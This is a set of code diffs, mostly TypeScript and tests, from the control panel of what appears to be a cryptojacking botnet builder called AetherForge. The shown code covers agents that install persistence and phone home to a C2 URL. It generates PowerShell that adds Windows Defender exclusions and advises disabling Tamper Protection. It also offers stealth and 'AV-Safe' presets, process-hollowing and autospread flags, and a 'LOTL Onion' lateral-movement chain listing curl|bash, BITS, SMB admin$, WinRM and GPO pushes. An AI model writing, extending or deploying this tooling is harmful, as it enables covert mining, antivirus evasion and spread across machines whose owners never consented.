...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
}
: a,
);
});
setAgents((prev) => applyStatsUpdates(prev, [update]));
break;
}
case 'stats_batch': {
const batch = msg.payload as WSStatsBatch;
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
}
break;
}
case 'new_share': {

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import type { Agent } from '../types';
import { applyStatsUpdates } from './applyStatsUpdate';
const baseAgent = (): Agent => ({
id: 'a1',
name: 'node',
wallet: '',
ip: '10.0.0.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: new Date().toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 10,
memory_usage_pct: 20,
uptime_seconds: 60,
});
describe('applyStatsUpdates', () => {
it('applies batch updates in one pass', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
]);
expect(next[0].hashrate_15m).toBe(200);
expect(next[1].hashrate_15m).toBe(80);
});
it('returns same reference when nothing changed', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
]);
expect(next).toBe(agents);
});
it('merges mining cascade fields from stats_batch updates', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
chain_order: ['container', 'inprocess', 'stratum_direct'],
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
last_error: 'container start blocked',
},
]);
expect(next[0].active_method).toBe('inprocess');
expect(next[0].stratum_overlay).toBe(true);
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
expect(next[0].failed_methods).toHaveLength(1);
expect(next[0].last_error).toBe('container start blocked');
});
it('applies batch mining updates for multiple agents', () => {
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
const next = applyStatsUpdates(agents, [
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
]);
expect(next[0].active_method).toBe('container');
expect(next[1].chain_exhausted).toBe(true);
});
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
const next = applyStatsUpdates(agents, [
{
agent_id: 'v1',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
cpu_usage_pct: 0,
vuln_risk_score: 42,
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
},
]);
expect(next[0].vuln_risk_score).toBe(42);
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
});
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
mining_hashrate: 850,
lotl_tier: 'tier-1',
},
]);
expect(next[0].mining_hashrate).toBe(850);
expect(next[0].lotl_tier).toBe('tier-1');
});
it('merges lotl_attempts from stats_batch', () => {
const agents = [baseAgent()];
const attempts = [
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: attempts,
},
]);
expect(next[0].lotl_attempts).toEqual(attempts);
});
});

View File

@@ -0,0 +1,82 @@
import type { Agent } from '../types';
import type { WSStatsUpdate } from '../types/ws';
import { agentStatsUnchanged } from './wsStatsCoalesce';
/** Merge one stats_update payload into an agent row. */
export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
return {
...agent,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
shares_total: update.shares_submitted ?? agent.shares_total,
shares_good: update.shares_accepted ?? agent.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? agent.shares_total) -
(update.shares_accepted ?? agent.shares_good),
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
};
}
/** Apply one or many stats updates in a single pass (batch-friendly). */
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
if (updates.length === 0) return agents;
const byId = new Map(updates.map((u) => [u.agent_id, u]));
let changed = false;
const next = agents.map((a) => {
const u = byId.get(a.id);
if (!u || agentStatsUnchanged(a, u)) return a;
changed = true;
return mergeAgentStats(a, u);
});
return changed ? next : agents;
}

View File

@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
'/settings',
'/forge',
'/builds',
'/agents',
'/crucible',
'/dashboard',
]);
for (const step of routed) {

View File

@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
title: 'Connect',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
route: '/crucible',
routeLabel: 'Crucible',
tips: [
'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
'C2 server URL (LAN http://IP:8989)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Worker name (shows in Crucible node roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
@@ -328,7 +328,7 @@ ollama run llama3.2`,
export const TROUBLESHOOTING = [
{
problem: 'Agent never appears in Fleet Roster',
problem: 'Agent never appears in Crucible',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
},
{

View File

@@ -0,0 +1,26 @@
import { describe, it, expect } from 'vitest';
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
describe('defenderExclusion', () => {
it('builds elevated PowerShell with path and process exclusions', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\ProgramData\\AetherForge\\worker",
processName: 'RuntimeBrokerHelper',
});
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('RuntimeBrokerHelper.exe');
expect(script).toContain('Tamper Protection');
});
it('escapes single quotes in paths', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\O'Brien\\miner",
processName: 'worker',
});
expect(script).toContain("C:\\O''Brien\\miner");
});
it('provides default install preview', () => {
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
});
});

View File

@@ -0,0 +1,57 @@
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
export interface DefenderExclusionOptions {
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
installPath: string;
/** Process name without .exe, e.g. RuntimeBrokerHelper */
processName: string;
}
function psEscapeSingleQuoted(value: string): string {
return value.replace(/'/g, "''");
}
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
const processName = psEscapeSingleQuoted(opts.processName.trim());
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
return `# AetherForge — Windows Defender exclusions
# Run elevated (Administrator). Review before executing.
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
$ErrorActionPreference = 'Stop'
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Warning 'Re-run this script as Administrator.'
}
$paths = @(
'${installPath}'
)
$processes = @(
'${processExe}'
)
try {
Add-MpPreference -ExclusionPath $paths -Force
Add-MpPreference -ExclusionProcess $processes -Force
Write-Host "Added Defender exclusions for install path and ${processExe}"
} catch {
Write-Warning $_.Exception.Message
}
Write-Host ''
Write-Host 'Manual checklist if mining still blocked:'
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
`;
}
/** Example install path for Calibrate preview (Windows localappdata template). */
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
const slug = workerName.trim() || 'worker';
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
}

View File

@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
miner_execution: '/docs/#container-mining',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',

View File

@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'idle',
miner_execution: 'auto',
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',

View File

@@ -14,13 +14,14 @@ import {
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
expect(operationModeForChip('avsafe')).toBe('av_safe');
});
it('reverse-maps operation modes to wizard chips', () => {
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
expect(missionChipForMode('av_safe')).toBe('avsafe');
});
it('navigates wizard steps forward and back', () => {

View File

@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
launch: 'Launch',
};
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
export interface MissionOperationChipDef {
id: MissionOperationChip;
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
{
id: 'avsafe',
label: 'AV-Safe',
color: '#22d3a8',
modeId: 'av_safe',
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
},
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
if (mode === 'av_safe') return 'avsafe';
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';

View File

@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes six colored aether-themed presets', () => {
expect(OPERATION_MODES).toHaveLength(6);
it('exposes colored aether-themed presets including LOTL Onion', () => {
expect(OPERATION_MODES).toHaveLength(8);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
'AV-Safe',
'LOTL Onion',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
'aether',
'wildfire',
'crucible',
'aether',
'aether',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
it('applies AV-Safe in-process mining without GPU or spread', () => {
const next = applyOperationMode(baseForm(), 'av_safe');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.process_hollowing).toBe(false);
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(false);
expect(next.remote_aggressive).toBe(false);
expect(next.obfuscate).toBe(false);
});
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
const next = applyOperationMode(baseForm(), 'lotl_onion');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(9);
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true);
});
});

View File

@@ -1,5 +1,6 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
export type OperationModeId =
| 'ghost_walk'
@@ -7,7 +8,9 @@ export type OperationModeId =
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
| 'crucible_storm';
| 'crucible_storm'
| 'av_safe'
| 'lotl_onion';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
mesh_p2p: true,
}),
},
{
id: 'av_safe',
label: 'AV-Safe',
color: '#22d3a8',
skin: 'aether',
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
}),
},
{
id: 'lotl_onion',
label: 'LOTL Onion',
color: '#38bdf8',
skin: 'aether',
blurb:
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: true,
share_spread: true,
usb_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
lotl_onion_enabled: true,
lotl_policy_from_server: true,
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
}),
},
];
export function isOperationModeId(value: string): value is OperationModeId {

View File

@@ -0,0 +1,14 @@
import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists nine tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
});
it('documents each tier with a one-line hint', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
});
});

View File

@@ -0,0 +1,38 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
export const DEFAULT_LOTL_ONION_TIERS = [
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
'linux',
'gpo',
] as const;
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
export interface LotlOnionTierDoc {
id: LotlOnionTierId;
label: string;
/** One-line operator hint for playbook tabs */
hint: string;
}
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
];
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
}

View File

@@ -1,7 +1,7 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record<string, string> = {
'/dashboard': 'Command Deck',
'/agents': 'Fleet Roster',
'/agents': 'Crucible',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',

View File

@@ -0,0 +1,38 @@
import { describe, expect, it } from 'vitest';
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
describe('reconRisk', () => {
it('ipToSubnet derives /24 label', () => {
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
expect(ipToSubnet('')).toBe('');
});
it('riskFromVulnFindings returns null when empty or all patched', () => {
expect(riskFromVulnFindings(undefined)).toBeNull();
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
});
it('riskFromVulnFindings picks highest unpatched severity', () => {
const info = riskFromVulnFindings([
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
]);
expect(info?.level).toBe('high');
expect(info?.label).toBe('RISK HIGH');
expect(info?.count).toBe(2);
expect(info?.title).toContain('CVE-HIGH');
});
it('riskFromVulnFindings maps critical severity', () => {
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
expect(info?.level).toBe('critical');
expect(info?.label).toBe('RISK CRIT');
});
it('joinLaneLabel formats known lanes', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});
});

View File

@@ -0,0 +1,88 @@
import type { VulnFinding } from '../types/recon';
const SEVERITY_RANK: Record<string, number> = {
critical: 5,
high: 4,
medium: 3,
low: 2,
info: 1,
};
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
export interface RiskBadgeInfo {
level: RiskLevel;
label: string;
count: number;
title: string;
}
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
export function ipToSubnet(ip?: string): string {
const trimmed = (ip || '').trim();
const parts = trimmed.split('.');
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
}
function severityRank(severity?: string): number {
if (!severity) return 0;
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
}
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
if (!findings?.length) return null;
const actionable = findings.filter((f) => !f.patched);
if (actionable.length === 0) return null;
let maxRank = 0;
let maxSeverity = 'low';
let exploitable = 0;
for (const f of actionable) {
const rank = severityRank(f.severity);
if (rank > maxRank) {
maxRank = rank;
maxSeverity = (f.severity || 'low').toLowerCase();
}
if (f.exploitable_in_fleet_context) exploitable += 1;
}
const level: RiskLevel =
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
const cveList = actionable
.slice(0, 4)
.map((f) => f.cve_id)
.join(', ');
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
return {
level,
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
count: actionable.length,
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
exploitable ? ` · ${exploitable} fleet-context` : ''
}\n${cveList}${suffix}`,
};
}
const JOIN_LANE_LABELS: Record<string, string> = {
winrm: 'WinRM',
smb: 'SMB',
gpo: 'GPO',
docker: 'Docker',
bits: 'BITS',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',
linux_lotl: 'Linux LOTL',
spread_smb_unc: 'SMB UNC',
};
/** Display label for join_lane funnel tag. */
export function joinLaneLabel(lane?: string): string | null {
const raw = lane?.trim();
if (!raw) return null;
const key = raw.toLowerCase();
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
}

View File

@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
'download',
'ps',
'netstat',

View File

@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Fleet Roster');
expect(bodies).toContain('Crucible');
});
});
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_lotl_onion',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'miner_execution',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',

View File

@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
},
{
title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
},
];
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_operation_mode:
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion:
